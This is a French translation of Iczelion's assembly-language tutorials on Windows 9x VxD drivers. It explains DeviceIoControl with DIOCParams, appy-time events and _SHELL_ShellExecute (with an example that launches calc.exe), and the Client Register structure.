DIOCParams est ainsi définie:
    DIOCParams STRUC
        Internal1          DD ?
        VMHandle           DD ?
        Internal2          DD ?
        dwIoControlCode    DD ?
        lpvInBuffer        DD ?
        cbInBuffer         DD ?
        lpvOutBuffer       DD ?
        cbOutBuffer        DD ?
        lpcbBytesReturned  DD ?
        lpoOverlapped      DD ?
        hDevice            DD ?
        tagProcess         DD ?
    DIOCParams ENDS
  • Internal1 est le pointer qui est sur la 'client register structure' de l'application win32
  • VMHandle pas besoin d'explications
  • Internal2 pointe sur le bloc de description du matériel (device descriptor block (DDB))
  • dwIoControlCode, lpvInBuffer, cbInBuffer, lpvOutBuffer, cbOutBuffer, lpcbBytesReturned, lpOverlapped sont les paramètres que l'on a passées à l'API DeviceIoControl.
  • hDevice est l'handle du Device (en Ring-3)
  • tagProces est l'étiquette du process
Avec la structure DIOCParams, vous avez toute l'information que votre application win32 a passée à votre VxD.
Votre VxD doit au moins traiter DIOC_Open (qui est une valeur a passer dans dwIoControlCode) lequel VWIN32 enverra à votre VxD lorsque une application win32 appellera l'API CreateFile pour ouvrir votre VxD. Si votre VxD est prêt, il doit mettre 0 dans eax et l'appel de CreateFile sera couronné de succès. Si votre VxD n'est pas prêt, il doit renvoyer une valeur non-nille dans eax et CreateFile échouera. A part DIOC_Open, votre VxD recevra le code DIOC_Closehandle en provenance de VWIN32 lorsque l'application win32 referme l'handle du Device.

Voici le squelette minimum d'un VxD dynamique, il est chargeable grâce à l'API CreateFile

.386p
include vmm.inc
include vwin32.inc

DECLARE_VIRTUAL_DEVICE DYNAVXD,1,0, DYNAVXD_Control,\
UNDEFINED_DEVICE_ID, UNDEFINED_INIT_ORDER

Begin_control_dispatch DYNAVXD
Control_Dispatch w32_DeviceIoControl, OnDeviceIoControl
End_control_dispatch DYNAVXD

VxD_PAGEABLE_CODE_SEG
BeginProc OnDeviceIoControl
assume esi:ptr DIOCParams
.if [esi].dwIoControlCode==DIOC_Open
xor eax,eax
.endif
ret
EndProc OnDeviceIoControl
VxD_PAGEABLE_CODE_ENDS

end

;--------------------------------------------------------------------------------------------------------------------------------
; Module Definition File
;---------------------------------------------------------------------------------------------------------------------------------
VXD DYNAVXD DYNAMIC

SEGMENTS
    _LPTEXT      CLASS 'LCODE'    PRELOAD NONDISCARDABLE
    _LTEXT       CLASS 'LCODE'    PRELOAD NONDISCARDABLE
    _LDATA       CLASS 'LCODE'    PRELOAD NONDISCARDABLE
    _TEXT        CLASS 'LCODE'    PRELOAD NONDISCARDABLE
    _DATA        CLASS 'LCODE'    PRELOAD NONDISCARDABLE
    CONST        CLASS 'LCODE'    PRELOAD NONDISCARDABLE
    _TLS         CLASS 'LCODE'    PRELOAD NONDISCARDABLE
    _BSS         CLASS 'LCODE'    PRELOAD NONDISCARDABLE
    _LMGTABLE    CLASS 'MCODE'    PRELOAD NONDISCARDABLE IOPL
    _LMSGDATA    CLASS 'MCODE'    PRELOAD NONDISCARDABLE IOPL
    _IMSGTABLE   CLASS 'MCODE'    PRELOAD DISCARDABLE IOPL
    _IMSGDATA    CLASS 'MCODE'    PRELOAD DISCARDABLE IOPL
    _ITEXT       CLASS 'ICODE'    DISCARDABLE
    _IDATA       CLASS 'ICODE'    DISCARDABLE
    _PTEXT       CLASS 'PCODE'    NONDISCARDABLE
    _PMSGTABLE   CLASS 'MCODE'    NONDISCARDABLE IOPL
    _PMSGDATA    CLASS 'MCODE'    NONDISCARDABLE IOPL
    _PDATA       CLASS 'PDATA'    NONDISCARDABLE SHARED
    _STEXT       CLASS 'SCODE'    RESIDENT
    _SDATA       CLASS 'SCODE'    RESIDENT
    _DBOSTART    CLASS 'DBOCODE'  PRELOAD NONDISCARDABLE CONFORMING
    _DBOCODE     CLASS 'DBOCODE'  PRELOAD NONDISCARDABLE CONFORMING
    _DBODATA     CLASS 'DBOCODE'  PRELOAD NONDISCARDABLE CONFORMING
    _16ICODE     CLASS '16ICODE'  PRELOAD DISCARDABLE
    _RCODE       CLASS 'RCODE'

EXPORTS
    DYNAVXD_DDB  @1

Exemple complet

Ci-dessous voici le code source de l'application win32 qui charge le VxD dynamique et appelle une fonction dans ce VxD via l'API DeviceIoControl.

; VxDLoader.asm

.386
.model flat,stdcall
include windows.inc
include kernel32.inc
includelib kernel32.lib
include user32.inc
includelib user32.lib

.data
AppName db "DeviceIoControl",0
VxDName db "\\.\shellmsg.vxd",0
Success db "The VxD is successfully loaded!",0
Failure db "The VxD is not loaded!",0
Unload db "The VxD is now unloaded!",0
MsgTitle db "DeviceIoControl Example",0
MsgText db "I'm called from a VxD!",0
InBuffer dd offset MsgTitle
dd offset MsgText
.data?
hVxD dd ?
.code
start:
invoke CreateFile,addr VxDName,0,0,0,0,FILE_FLAG_DELETE_ON_CLOSE,0
.if eax!=INVALID_HANDLE_VALUE
mov hVxD,eax
invoke MessageBox,NULL,addr Success,addr AppName,MB_OK+MB_ICONINFORMATION
invoke DeviceIoControl,hVxD,1,addr InBuffer,8,NULL,NULL,NULL,NULL
invoke CloseHandle,hVxD
invoke MessageBox,NULL,addr Unload,addr AppName,MB_OK+MB_ICONINFORMATION
.else
invoke MessageBox,NULL,addr Failure,NULL,MB_OK+MB_ICONERROR
.endif
invoke ExitProcess,NULL
end start

Voici ci-dessous le code source du VxD dynamique qui est appelé par vxdloader.asm
; ShellMsg.asm
.386p
include vmm.inc
include vwin32.inc
include shell.inc

DECLARE_VIRTUAL_DEVICE SHELLMSG,1,0, SHELLMSG_Control,\
UNDEFINED_DEVICE_ID, UNDEFINED_INIT_ORDER

Begin_control_dispatch SHELLMSG
Control_Dispatch w32_DeviceIoControl, OnDeviceIoControl
End_control_dispatch SHELLMSG

VxD_PAGEABLE_DATA_SEG
pTitle dd ?
pMessage dd ?
VxD_PAGEABLE_DATA_ENDS

VxD_PAGEABLE_CODE_SEG
BeginProc OnDeviceIoControl
assume esi:ptr DIOCParams
.if [esi].dwIoControlCode==DIOC_Open
xor eax,eax
.elseif [esi].dwIoControlCode==1
mov edi,[esi].lpvInBuffer
;-----------------------------------
; Copie le titre du message dans le buffer
;-----------------------------------
VMMCall _lstrlen, <[edi]>
inc eax
push eax
VMMCall _HeapAllocate,<eax,HEAPZEROINIT>
mov pTitle,eax
pop eax
VMMCall _lstrcpyn,<pTitle,[edi],eax>
;-----------------------------------
; Copie le texte du message dans le buffer
;-----------------------------------
VMMCall _lstrlen, <[edi+4]>
inc eax
push eax
VMMCall _HeapAllocate,<eax,HEAPZEROINIT>
mov pMessage,eax
pop eax
VMMCall _lstrcpyn,<pMessage,[edi+4],eax>
mov edi,pTitle
mov ecx,pMessage
mov eax,MB_OK
VMMCall Get_Sys_VM_Handle
VxDCall SHELL_sysmodal_Message
VMMCall _HeapFree,pTitle,0
VMMCall _HeapFree,pMessage,0
xor eax,eax
.endif
ret
EndProc OnDeviceIoControl
VxD_PAGEABLE_CODE_ENDS

end

Analyse:

Commençons par VxDLoader.asm.
invoke CreateFile,addr VxDName,0,0,0,0,FILE_FLAG_DELETE_ON_CLOSE,0
.if eax!=INVALID_HANDLE_VALUE
mov hVxD,eax
....
.else
invoke MessageBox,NULL,addr Failure,NULL,MB_OK+MB_ICONERROR
.endif
Nous appelons CreateFile pour charger le VxD dynamique. Notez le flag FILE_flag_DELETE_ON_CLOSE. Ce flag charge Windows de décharger le VxD quand CreateFile renvoie l'handle du VxD fermé. Si CreateFile est couronné de succès, nous stockons l'handle du VxD pour une future utilisation.
invoke MessageBox,NULL,addr Success,addr AppName,MB_OK+MB_ICONINFORMATION
invoke DeviceIoControl,hVxD,1,addr InBuffer,8,NULL,NULL,NULL,NULL
invoke CloseHandle,hVxD
invoke MessageBox,NULL,addr Unload,addr AppName,MB_OK+MB_ICONINFORMATION
Le programme affiche une MessageBox lorsque le VxD est chargé ou déchargé. Il appelle DeviceIoControl avec dwIoControlCode 1 et passe l'adresse de InBuffer au paramètre lpInBuffer et la taille de InBuffer (8) à nInBufferSize. InBuffer est un tableau dword de deux éléments : chaque élément représente l'adresse d'une chaîne de caractères.
MsgTitle db "DeviceIoControl Example",0
MsgText db "I'm called from a VxD!",0
InBuffer dd offset MsgTitle
dd offset MsgText
Passons au VxD maintenant.
Il traite uniquement le message w32_deviceIoControl. Quand le message w32_deviceIoControl est envoyé, la procédure OnDeviceIoControl est appelée.
BeginProc OnDeviceIoControl
assume esi:ptr DIOCParams
.if [esi].dwIoControlCode==DIOC_Open
xor eax,eax
OnDeviceIoControl traite le code de DIOC_OPEN en rentournant 0 dans eax.
.elseif [esi].dwIoControlCode==1
mov edi,[esi].lpvInBuffer
Il traite aussi le contrôle code 1. La première chose c'est de l'extraire des données de lpvInBuffer qui sont deux dwords a passer au membre lpInBuffer de l'API DeviceIoControl. Il met l'adresse du tableau dword dans edi pour l'extraction. Le premier dword est l'adresse du texte qui doit être utilisé comme titre de la MessageBox. Le second dword est l'adresse du texte qui doit être utilisé comme texte de cette même MessageBox.
;-----------------------------------
; Copie le titre du message dans le buffer
;-----------------------------------
VMMCall _lstrlen, <[edi]>
inc eax
push eax
VMMCall _HeapAllocate,<eax,HEAPZEROINIT>
mov pTitle,eax
pop eax
VMMCall _lstrcpyn,<pTitle,[edi],eax>
Il calcule la longueur du titre de la MessageBox en appelant le service _lstrlen du VMM (Manager de Machines Virtuelles). La valeur dans eax rendu par _lstrlen est la longueur de la chaîne de caractères. Nous augmentons la longueur de 1 pour tenir compte du caratère NULL de terminaison. Ensuite nous réservons un bloc de mémoire assez grand pour contenir la chaîne de caractères avec en plus le NULL en appelant _HeapAllocate. Le flag HEAPZEROINIT fait débuter _HeapAllocate au bloc mémoire zéro. _HeapAllocate renvoie l'adresse du bloc mémoire dans eax. Nous recopions alors la chaîne de caractères de de l'application win32 dans le bloc mémoire que nous avons réservé. Nous faisons la même opération sur la chaîne de caractères que nous emploierons en tant que texte (contenu) de la MessageBox.
mov edi,pTitle
mov ecx,pMessage
mov eax,MB_OK
VMMCall Get_Sys_VM_Handle
VxDCall SHELL_sysmodal_Message
Nous stockons les adresses du titre et du contenu respectivement dans edi et ecx. Mettez le flag désirable dans eax, obtenez l'handle de la VM 'système VM' (Machine Virtuelle principale) en appelant Get_Sys_VM_handle et appelez ensuite SHELL_Sysmodal_Message. SHELL_SysModal_Message est le système de la version modale de SHELL_Message. Il gèle le système avant que l'utilisateur ne réponde à la MessageBox. On est stoppé sur le Call de la MessageBox tant qu'on a pas cliqué sur un de ses boutons.
VMMCall _HeapFree,pTitle,0
VMMCall _HeapFree,pMessage,0
Quand SHELL_Sysmodal_Message retourne, nous pouvons libérer les blocs mémoires en appelant _HeapFree.

Conclusion

L'interface DeviceIoControl est l'idéal pour employer un VxD dynamique en tant que DLL en Ring-0 comme extension de votre application win32.
[Iczelion's Win32 Assembly Homepage]

Traduit par Morgatte


Application Time and Shell Functions

Temps d'Application et Functions du Shell

Nidala: Le Shell en général est un ensemble muni de commandes intégrées (COMMAND.COM pour DOS, BASH pour Linux, etc) et d'une syntaxe de programmation qui permet d'enregistrer des programmes shell ou scripts (batch).

Downloadez l'exemple.

Un peu de théorie

Le temps d'application est d'habitude appelé "appy time". C'est simplement le temps où le système VM (la Machine Virtuelle Principale) est assez stable pour permettre l'interaction entre les VxDs et les applications Ring-3 (les programmes quelconques), spécialement les 16 bits. Par exemple, pendant le temps appy, les VxDs peuvent charger et appeler des fonctions dans les DLLs 16 bits. Ce temps appy n'est pas disponible sous Windows 3.1x. Sous Windows 3.1, un VxD peut obtenir l'adresse de n'importe quelle fonction d'une DLL 16 bits et simuler un appel lointain vers cette adresse. Cependant, n'importe quelle tâche d'un programme Ring-3 sera interrompu. Donc les seules APIs que les VxDs peuvent appeler sont celles qui ont été interrompues en sécurité, c'est-à-dire avec Postmessage. Sous Windows 95, un VxD peut appeler presque n'importe quelle fonction dans n'importe quelle DLL 16 bits à l'aide du temps appy.
Plus simplement, si votre VxD est informé qu'on est maintenant dans le temps d'application (appy), il peut charger les DLLs 16 bits et appeler des fonctions qui leurs appartiennent. Comment un VxD sait-il si le temps appy est arrivé? Il doit détecter un des événements liés au temps appy grâce au VxD Shell. Quand le système VM est dans un état stable, le VxD Shell appellera la fonction de service que le VxD a spécifié lorsqu'il s'est fait inscrire pour obtenir un événement de temps appy. Le VxD Shell appellera votre fonction de service seulement une fois pour chaque enregistrement d'événement de temps appy. C'est exactement comme une demande d'emploi. Vous allez dans une agence de recrutement, enregistrer votre numéro de téléphone et nom chez eux. Puis vous rentrez à la maison. Quand un travail est disponible, l'agence vous téléphone en vous informant des bonnes nouvelles. Si ces nouvelles vous intéressent et que vous vous en occupez, on ne vous appellera jamais plus.
Ça peut prendre un peu de temps avant qu'un événement de temps appy ne soit disponible. Les événements de temps appy ne sont pas disponibles dans les circonstances suivantes :
  • Pendant le démarrage ou l'arrêt du système.
  • Quand le système VM est dans une phase critique après avoir perdu les pédales.

Gestion d'un événement de temps appy.

Vous pouvez définir un événement de temps appy en appelant la fonction _Shell_CallAtAppyTime qui possède la syntaxe suivante :
VxDCall _SHELL_CallAtAppyTime, <<OFFSET32 pfnCallback>, dwRefData, dwFlags, dwTimeout>
pfnCallBack Est l'adresse de retour de la fonction Call que vous souhaitez que le VxD Shell appelle lorsqu'un événement de temps appy se produit. La fonction recevra deux paramètres, dwRefData et dwFlags qui sont exactement identiques aux deux paramètres que vous avez passé à la fonction _Shell_CallAtAppyTime. Notez que le VxD Shell appellera votre fonction de retour avec une séquence d'appel C. Bref, vous devez définir votre fonction de retour de service comme ça :

BeginProc OnAppyTime, CCALL, PUBLIC
ArgVar dwRefData,DWORD ; Déclare le nom et le type.
ArgVar dwFlags, DWORD
EnterProc

<Mettez votre code ici>

LeaveProc
Return
EndProc OnAppyTime

dwRefData | Représente les données que vous souhaitez que votre VxD Shell doit repasser après votre fonction de rappel de service (le Call de votre programme qui nous envoie dans le VxD). Ça peut être tout ce que vous voulez.
dwFlags Event flags (les différents événements). Ce paramètre peut être une des valeurs qui suivent :
CAAFL_RING0 événement de type Ring-0.
CAAFL_TIMEOUT est l'événement: Temps d'attente dépassé (temps limite dans dwTimeout).
Utilisez-le simplement, dans l'attente qu'un événement de temps appy ne se produise pendant une période de temps définie, en utilisant le Flag CAAFL_TIMEOUT. Si vous voulez attendre indéfiniment l'événement de temps appy, remplacez ce Flag par un NULL. Je ne sais pas ce que fait le Flag CAAFL_RING0 en réalité.
dwTimeout | est la période de temps que le VxD sera susceptible d'attendre qu'un événement de temps appy se produise. Je n'ai pas pu trouver de renseignements à propos de l'unité de temps employée avec cet argument.

Ce service est asynchrone, ce qui signifie qu'il retourne (revient à la suite du Call) immédiatement après avoir définit le contenu de votre fonction Call qui s'occupe des événement de temps appy.
Si cet appel de service (le retour de ce Call) est couronné de succès, il renvoie dans eax le handle du type d'événement de temps appy. Si c'est un échec, eax contiendra la valeur 0.
Vous pouvez annuler votre définition (registering) de temps appy en appelant la fonction _Shell_CancelAppyTimeEvent laquelle ne prend qu'un unique paramètre, qui est l'Handle de l'événement de temps appy retourné par la fonction _Shell_CallAtAppyTime.
Pour ne pas transgresser les règles, avant l'appel _Shell_CallAtAppyTime, vous devez vérifier le système pour voir si l'événement de temps appy est valide.
Par exemple, que se passe-t-il si vous êtes en train récupérer un événement de temps appy alors que le système chute (déraille)? Le rappel de service de votre VxD ne sera jamais appelé! (Le Call de notre programme et qui visite le VxD échoue) Vous pouvez questionner le système pour voir si l'événement de temps appy est valide et disponible en appelant _Shell_QueryAppyTimeAvailable. Ce service ne prend aucun paramètre. Il retourne 0 dans eax si le temps appy n'est pas disponible, c'est-à-dire si le système s'est définitivement fermé ou que le server de messages ait obtenu des erreurs GP. Ce service ne vous informe pas qu'on est actuellement ou non au temps appy : il vous dit seulement qu'il peut y avoir des événements de temps appy. Bref, si vous voulez vous en sortir, appelez d'abord _Shell_QueryAppyTimeAvailable et s'il renvoie une valeur non-nulle dans eax, vous pouvez continuer à appeler _Shell_CallAtAppyTime.

Services de temps d'application du Shell

Quand le temps appy est atteint, il y a plusieurs services du Shell que vous pouvez appeler :
  • _SHELL_CallDll
  • _SHELL_FreeLibrary
  • _SHELL_GetProcAddress
  • _SHELL_LoadLibrary
  • _SHELL_LocalAllocEx
  • _SHELL_LocalFree
Ces six services sont à notre disposition donc les VxDs peuvent appeler des fonctions 16 bits dans des DLLs ou ExE 16 bits, comme ceux de la doc WinHelp. Cependant, puisque nous travaillons dans un mode 32 bits (et 64 bit bientôt), je n'entrerai pas dans leurs détails. Si vous êtes intéressés, vous pouvez lire la documentation Windows 95/98 DDK.
Il existe d'autre Service du Shell exclusivement liées au temps appy qui sont plus utiles je pense: _Shell_ShellExecute et _SHELL_BroadcastSystemMessage. Avec _SHELL_BroadcastSystemMessage, vous pouvez envoyer un message à toutes les fenêtres de plus haut niveau et tous les VxDs dans un appel! Si le temps appy est disponible, vous pouvez envoyer des messages à toutes les fenêtres et VxDs. Si le temps appy n'est pas disponible, vous pouvez envoyer des messages seulement aux VxDs.
_SHELL_ShellExecute est l'homologue Ring-0 de la fonction ShellExecute en Ring-3. En réalité il appelle ShellExecute (Ring-3) pour faire le boulot. Avec ce service du Shell, vous pouvez executer / ouvrir / imprimer n'importe quel fichier. _SHELL_ShellExecute présente la syntaxe suivante :
VxDCall _SHELL_ShellExecute, <OFFSET32 ShexPacket>
Elle ne prend qu'un seulement paramètre, l'adresse (Flat) d'une structure SHEXPACKET. Elle renvoie la valeur de ShellExecute dans eax. On va examiner la structure SHEXPACKET en détail..
shex_dwTotalSize | est la taille en octets de la structure SHEXPACKET (plus le paramètre facultatif, rgchBaggage rgchBaggage bientôt.
shex_dwSize | est la taille en octets de la structure de SHEXPACKET, ne comptant pas le paramètre facultatif rgchBaggage. Combiné avec shex_dwTotalSize ci-dessus, le VxD Shell peut calculer la taille de rgchBaggage qui est d'une longueur arbitraire.
shex_ibOp | est l'opération qu'on souhaite exécuter. Si vous spécifiez 0, cela signifie que vous voulez ouvrir le fichier. Si c'est un fichier exécutable, il sera lancé. Si vous voulez exécuter d'autres opérations, vous devez spécifier le nom de l'opération quelque part dans rgchBaggage et ce paramètre doit contenir la taille en octets du début de cette structure SHEXPACKET au premier caractère de la chaîne de caractères ASCII qui spécifie le nom de l'opération que vous voulez exécuter. La taille de SHEXPACKET est sur 32 octets. Si la chaîne de caractères représentant l'opération suit immédiatement la structure SHEXPACKET, la valeur dans shex_ibOp DOIT être sur 32. Quant à la liste des opérations vous pouvez exécuter, vérifier ShellExecute. Il y a trois opérations définies, "ouvrir", "imprimer" et "explorer".
shex_ibFile | est la distance relative du début de cette structure à la chaîne de caractères ASCII qui est le nom du fichier qu'on veut envoyer à ShellExecute, dans shex_ibOp.
shex_ibParams | sont les paramètres facultatifs que vous voulez passer au fichier indiqué dans shex_ibFile. Si le fichier est un document ou que vous ne voulez lui passer aucun paramètre, employer un 0. Si vous voulez passer de quelconques paramètres au fichier, mettre ces paramètres (sous forme de chaîne de caractères) quelque part après cette structure et mettre la distance relative du début de cette structure à la chaîne de caractères dans ce paramètre. Bref, c'est comme shex_ibOp et shex_ibFile.
shex_ibDir | est le répertoire de travail. mettez 0 si vous voulez employer le répertoire Windows, sinon vous pouvez mettre votre répertoire préféré du genre 'C:\temps' quelque part après cette structure et mettre la distance relative entre le début de cette structure et la chaîne de caractères de renseignements de ce paramètre.
shex_dwReserved | comme le nom l'indique, il est réservé. Ne mettez pas de bordel avec ça.
shex_nCmdShow | Comment on doit afficher la fenêtre de l'application (du programme). C'est une des valeurs que vous passez normalement à ShowWindow, c'est-à-dire. Une des valeur du genre SW_XXXX. Cherchez ces valeurs dans Windows.inc.

Tous les membres sont des DWORD. Maintenant qu'est-ce que ce membre rgchBaggage que j'avais promis de décrire ? Il est un peu difficile à expliquer. rgchBaggage est un membre de structure SHEXPACKET mais il ne peut pas être inclus dans la définition de structure même parce que sa taille est arbitraire. Vérifiez Shell.inc, vous verrez que rgchBaggage n'est pas définie dans SHEXPACKET. Cependant la documentation Windows 9x DDK affirme que c'est un membre de SHEXPACKET.
Mais qu'est-ce que rgchBaggage ? C'est simplement un tableau de plusieurs chaînes de caractères ASCII qui sont à la suite de la structure SHEXPACKET. Dans ce tableau, vous pouvez mettre le nom de l'opération que vous voulez exécuter sur le fichier, le nom du fichier, les paramètres que vous voulez passer au fichier et le répertoire de travail. Le VxD Shell obtient l'adresse de la chaîne de caractères dans rgchBaggage en ajoutant la distance relative entre la structure SHEXPACKET au premier octet de la chaîne de caractères à l'offset de SHEXPACKET. Par exemple, si la structure SHEXPACKET commence en 0060000h et la chaîne de caractères suit immédiatement cette structure, alors la distance entre la structure et la chaîne est la taille de la structure elle-même, sur 32 octets (20h). Ainsi le VxD Shell sait que la Chaîne est placée à l'adresse 0060020h. Ce paramètre sert de position relative pour la chaîne (par rapport au début de la structure = point d'origine)

Exemple

Ce sera un exemple très simple juste pour vous montrer comment 'registerer' (détecter) un événement de temps appy et emploier _Shell_ShellExecute. Le VxD sera dynamique et sera chargé par une application win32 simple. Quand l'utilisateur presse le bouton "run CALCULATOR", le programme win32 appelle DeviceIoControl pour demander au VxD de 'registerer' un événement de temps appy et ainsi lancer 'calc.exe' qui est placé dans le répertoire ..\Windows.
;---------------------------------------------------------------------------------
;                                   VxD Source Code
;---------------------------------------------------------------------------------
.386p
include \masm\include\vmm.inc
include \masm\include\vwin32.inc
include \masm\include\shell.inc

VxDName TEXTEQU <VXDEXEC>
ControlName TEXTEQU <VXDEXEC_Control>
VxDMajorVersion TEXTEQU <1>
VxDMinorVersion TEXTEQU <0>

VxD_STATIC_DATA_SEG
VxD_STATIC_DATA_ENDS

VXD_LOCKED_CODE_SEG
;----------------------------------------------------------------------------
; Souvenez-vous : le nom du VxD DOIT ÊTRE en majuscule sinon il ne se chargera/déchargera pas.
;----------------------------------------------------------------------------
DECLARE_VIRTUAL_DEVICE %VxDName,%VxDMajorVersion,%VxDMinorVersion, %ControlName,UNDEFINED_DEVICE_ID,UNDEFINED_INIT_ORDER

Begin_control_dispatch %VxDName
        Control_Dispatch W32_DEVICEIOCONTROL, OnDeviceIoControl
End_control_dispatch %VxDName

BeginProc OnDeviceIoControl
 assume esi:ptr DIOCParams
 .if [esi].dwIoControlCode==1
      VxDCall _SHELL_CallAtAppyTime,<<OFFSET32 OnAppyTime>,0,0,0>
 .endif
 xor eax,eax
 ret
EndProc OnDeviceIoControl
VXD_LOCKED_CODE_ENDS

VXD_PAGEABLE_CODE_SEG
BeginProc OnAppyTime, CCALL
 ArgVar RefData,DWORD
 ArgVar TheFlag,DWORD
 EnterProc
 mov File.shex_dwTotalSize,sizeof SHEXPACKET
 add File.shex_dwTotalSize,sizeof EXEName
 mov File.shex_dwSize,sizeof SHEXPACKET
 mov File.shex_ibOp,0
 mov File.shex_ibFile,sizeof SHEXPACKET
 mov File.shex_ibParams,0
 mov File.shex_ibDir,0
 mov File.shex_dwReserved,0
 mov File.shex_nCmdShow,1
 VxDCall _SHELL_ShellExecute, <OFFSET32 File>
 LeaveProc
 Return
EndProc OnAppyTime
VXD_PAGEABLE_CODE_ENDS

VXD_PAGEABLE_DATA_SEG
 File SHEXPACKET <>
 EXEName db "calc.exe",0
VXD_PAGEABLE_DATA_ENDS

end

Analyse

Le VxD attend les messages DeviceIoControl, service no 1. Quand il reçoit un tel message, on prend en compte l'événement de temps appy.
VxDCall _SHELL_CallAtAppyTime,<<OFFSET32 OnAppyTime>,0,0,0>
Il passe l'adresse (Flat) de la fonction OnAppyTime à _Shell_CallAtAppyTime pour que le VxD Shell l'appelle quand un événement de temps appy se produit. Nous n'employons pas de données de référence et n'avons aucun besoin du temps mort donc les trois paramètres après l'adresse OnAppyTime sont mis à zéros.
Quand un événement de temps appy arrive, le VxD Shell appelle la fonction OnAppyTime.
BeginProc OnAppyTime, CCALL
Nous déclarons notre fonction avec BeginProc. Puisque le VxD Shell appellera OnAppyTime avec une séquence d'appel C, nous avons besoin de spécifier l'attribut CCALL.
ArgVar RefData,DWORD
ArgVar TheFlag,DWORD
EnterProc
...
LeaveProc
Return
Puisque le VxD Shell appellera OnAppyTime avec deux paramètres, nous devons définir une pile en conséquence. La macro ArgVar sert au réglage des bornes (la taille) de pile. Sa syntaxe est la suivante :
ArgVar varname, size, used
varname est le nom du paramètre. Vous pouvez employer n'importe quel nom. size est, bien sûr, la taille du paramètre en octets. Vous pouvez utiliser BYTE, WORD, DWORD ou 1,2,4. used est habituellement omis.
Immédiatement après la macros ArgVar , nous avons besoin d'employer les macros EnterProc et LeaveProc pour marquer le début et la fin des instructions de la procédure, pour que les variables locales et les paramètres puissent être acceptés correctement. Utilisez la macro Return pour retourner au Call appelant.
 mov File.shex_dwTotalSize,sizeof SHEXPACKET
 add File.shex_dwTotalSize,sizeof EXEName
 mov File.shex_dwSize,sizeof SHEXPACKET
 mov File.shex_ibOp,0
 mov File.shex_ibFile,sizeof SHEXPACKET
 mov File.shex_ibParams,0
 mov File.shex_ibDir,0
 mov File.shex_dwReserved,0
 mov File.shex_nCmdShow,1
 VxDCall _SHELL_ShellExecute, <OFFSET32 File>
Les instructions à l'intérieur de la procédure sont simples : elles initialisent la structure SHEXPACKET et appellent le service _Shell_ShellExecute. Notez que shex_dwTotalSize contient la taille ajoutée de la structure SHEXPACKET elle-même et la taille de la chaîne de caractère qui la suit. C'est un cas simple. Si la chaîne de caractères ne suit pas immédiatement cette structure, vous devez calculer la distance entre le premier octet de la structure et le dernier octet de la chaîne de caractères par vous-même. shex_ibFile contient la taille de la structure elle-même parce que le nom du programme suit immédiatement la structure. shex_ibDir est mis à 0, ce qui signifie que nous voulons employer le répertoire Windows en tant que répertoire de travail. Notez que ça ne signifie pas que le programme doit être dans ce répertoire. Le programme peut être placé n'importe où tant que Windows peut le retrouver. shex_nCmdShow est mis à 1 ce qui est équivalant à la valeur SW_SHOWNORMAL.
File SHEXPACKET <>
EXEName db "calc.exe",0
Nous définissons une structure SHEXPACKET suivie immédiatement par le nom du programme que nous voulons exécuter.
[Iczelion's Win32 Assembly Homepage]

Traduit par Morgatte


Client Register Structure

La Structure Client Register

Dans ce nouveau Tutorial nous allons examiner une autre structure importante, à savoir la structure 'Client Register'. Downloadez l'exemple.

Un peu de théorie

Les VxDs diffèrent grandement des applications win32, win16, ou DOS normales. Les VxDs sont, la plupart du temps, inerte tandis que les autres progs normaux eux, font leur petit business (ils Runs, il ne sont pas inertes). Ils agissent comme des surperviseurs qui lancent d'autres progs Ring-3 et les corrigent (nous font part d'éventuelles erreurs) quand quelque chose se passe mal. La situation typique est la suivante :
  1. Une interruption (du programme en cours) se produit.
  2. Le VMM prend le contrôle.
  3. Le VMM sauvegarde les différents registres (du programme).
  4. Les services d'interruption du VMM ou les appels d'autres VxDs font leur boulot.
  5. Le VMM redonne le contrôle au programme qui avait été interrompu.
Ce qui est intéressant dans ce processus c'est que, la seule façon pour le VMM (le Manager de Machines Virtuelles) d'affecter le programme (l'application) interrompu c'est de modifier l'image des registers sauvegardés. Par exemple, si le VMM considère que le programme interrompu doit reprendre à une adresse différente, il peut changer la valeur de CS:IP (le EIP) dans l'image des registers sauvegardés et ensuite quand le programme reprend son cours, il reprendra l'exécution au nouveau CS:IP.
Le VMM sauvegarde les valeurs des registres au point d'interruption dans la structure Client Register .
Client_Reg_Struc STRUC
Client_EDI DD ?
Client_ESI DD ?
Client_EBP DD ?
Client_res0 DD ?
Client_EBX DD ?
Client_EDX DD ?
Client_ECX DD ?
Client_EAX DD ?
Client_Error DD ?
Client_EIP DD ?
Client_CS DW ?
Client_res1 DW ?
Client_EFlags DD ?
Client_ESP DD ?
Client_SS DW ?
Client_res2 DW ?
Client_ES DW ?
Client_res3 DW ?
Client_DS DW ?
Client_res4 DW ?
Client_FS DW ?
Client_res5 DW ?
Client_GS DW ?
Client_res6 DW ?
Client_Alt_EIP DD ?
Client_Alt_CS DW ?
Client_res7 DW ?
Client_Alt_EFlags DD ?
Client_Alt_ESP DD ?
Client_Alt_SS DW ?
Client_res8 DW ?
Client_Alt_ES DW ?
Client_res9 DW ?
Client_Alt_DS DW ?
Client_res10 DW ?
Client_Alt_FS DW ?
Client_res11 DW ?
Client_Alt_GS DW ?
Client_res12 DW ?
Client_Reg_Struc ENDS
Vous pouvez voir qu'il y a deux groupes dans cette structure : Client_xxx et Client_Alt_xxx. Ceci exige une petite explication. Dans une VM (Machine Virtuelle) donnée, il peut y avoir deux liens d'exécution : le mode V86 et le mode-protégé. Si une interruption se produit pendant qu'un programme V86 est actif, le Client_xxx contiendra les images des registres du programme V86, le Client_Alt_xxx contiendra ceux du programme PM (en Mode-Protégé). Alternativement, si une interruption arrive quand le programme PM est actif, le Client_xxx contiendra les valeurs des registres du programme PM alors que le Client_Alt_xxx contiendra les valeurs des registres du programme V86. Le Client_resX est réservé et n'est pas employé.
Après avoir examiné cette structure, vous pouvez vous poser une question: Comment puis-je faire pour changer uniquement un byte dans les registres, comme AL ? La structure ne décrit que des registres de taille "WORD" et "DWORD". N'ayez aucune crainte. Jetez un coup d'oeil à l'intérieur du fichier vmm.inc. Il y a deux structures complémentaires justement dans ce but : Client_Word_Reg_Struc et Client_Byte_Reg_Struc. Si vous voulez avoir accès à des registres de taille "BYTE" ou "WORD", vous devez utiliser les types Client_Reg_Struc dans Client_Word_Reg_Struc ou Client_Byte_Reg_Struc en accord avec vos besoins.

La question suivante : Comment pouvons-nous obtenir le Pointer sur la structure 'Client Register' ?

C'est en réalité facile : la plupart du temps, le VMM met l'adresse de la structure Client Register dans ebp quand il appelle notre VxD. La structure Client Register dans ce cas est la VM actuelle (La Machine Virtuelle). Sinon, vous pouvez obtenir ce Pointer à partie du handle de la VM. Rappelez-vous que le handle d'une VM est en réalité l'adresse linéaire du du bloc de contrôle de la VM.
